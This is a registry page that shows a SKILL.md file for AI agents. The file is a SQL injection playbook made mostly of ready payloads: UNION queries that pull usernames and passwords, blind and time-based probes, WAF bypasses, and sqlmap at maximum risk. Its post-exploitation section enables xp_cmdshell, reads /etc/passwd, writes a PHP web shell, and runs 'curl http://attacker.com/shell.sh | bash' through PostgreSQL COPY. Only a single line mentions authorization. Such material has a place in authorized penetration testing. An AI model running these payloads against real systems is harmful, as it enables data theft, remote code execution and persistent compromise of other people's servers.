agentleFS
sunilgentyalasunilgentyala/OmniRed/skills/web/sqli/SKILL.md

sqli

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

SQL injection expert methodology covering UNION-based, blind (boolean/time), error-based, and second-order injection. Includes WAF bypass, out-of-band exfiltration, and post-exploitation DB pivoting.

  • Pipes a download into a shell

6 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use open-redirect.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • yaklangSkill

    open-redirect

    Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.

    Also in 3 projects that use this

The file

We split this skill into the rules it gives an agent

2 rules. 0 are common, 1 is distinctive, and 1 is very specific to this project.

  • 0

    Common

    Most of the 5 edited versions we read keep these.

  • 1

    Distinctive

    This author's own choices. Worth a look.

  • 1

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Test all injection points with:

    line 18
  2. Very specific:

    Always use --risk=3 --level=5 in sqlmap only with explicit authorization.

    line 139

“Common” is measured: kept by at least 6 in 10 of the 5 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

SQL Injection

Attack Surface

Any user-controlled value that reaches a SQL query without parameterisation: form fields, URL parameters, HTTP headers (User-Agent, Referer, X-Forwarded-For, Cookie), JSON/XML body fields, search boxes, sort/order parameters, GraphQL variables.

Methodology

Phase 1 — Detection

Test all injection points with:

'           -- error-based detection
''          -- escaped quote (normalised input)
`           -- MySQL backtick
')          -- close parenthesis
1' OR '1'='1
1 AND 1=1
1 AND 1=2  -- compare responses for boolean blind
1; SELECT SLEEP(5)--  -- time-based blind

Observe: HTTP status changes, response length diffs, error messages, timing differences.

Phase 2 — Classification

Injection typeIndicator
Error-basedDB error message in response
UNION-basedResponse reflects query output
Boolean blindBinary response difference (login/no login, 200/500)
Time-based blindResponse delay on SLEEP()/WAITFOR DELAY
Out-of-bandDNS/HTTP callback from DB server
Second-orderStored, triggered on later retrieval

Phase 3 — Exploitation

UNION-based (enumerate columns first):

1 ORDER BY 1--    -- increment until error to find column count
1 UNION SELECT NULL,NULL,NULL--
1 UNION SELECT 1,version(),database()--
1 UNION SELECT 1,table_name,3 FROM information_schema.tables--
1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
1 UNION SELECT 1,username,password FROM users--

Boolean blind (Burp Intruder / manual):

1 AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

Time-based blind:

-- MySQL
1 AND SLEEP(5)--
1 AND IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)--
-- MSSQL
1; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1; SELECT pg_sleep(5)--

Out-of-band (DNS exfiltration — MSSQL):

1; EXEC master..xp_dirtree '//attacker.burpcollaborator.net/a'--

Phase 4 — Database enumeration

-- MySQL
SELECT version(), user(), database()
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='target'

-- MSSQL
SELECT @@version, SYSTEM_USER, DB_NAME()
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'

-- PostgreSQL
SELECT version(), current_user, current_database()
SELECT table_name FROM information_schema.tables WHERE table_schema='public'

Phase 5 — Post-exploitation

MSSQL xp_cmdshell:

EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

MySQL file read/write:

SELECT LOAD_FILE('/etc/passwd')
SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'

PostgreSQL COPY:

COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash'

WAF Bypass Techniques

  • Case variation: sElEcT
  • Comment insertion: SE/**/LECT
  • URL encoding: %55NION
  • Double URL encoding: %2555NION
  • Inline comments: /*!UNION*/
  • Whitespace substitution: %09 (tab), %0a (newline)
  • Keyword alternatives: || instead of OR, && instead of AND

Tools

  • sqlmap: sqlmap -u "http://target/page?id=1" --dbs --level=5 --risk=3
  • Burp Suite Pro — scanner + manual testing
  • Havij (legacy), jSQL Injection
  • Manual Python with requests for custom detection

OWASP Top 10 Mapping

  • A03:2021 — Injection

Notes

Always use --risk=3 --level=5 in sqlmap only with explicit authorization. Heavy sqlmap scans can cause denial of service on fragile databases.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.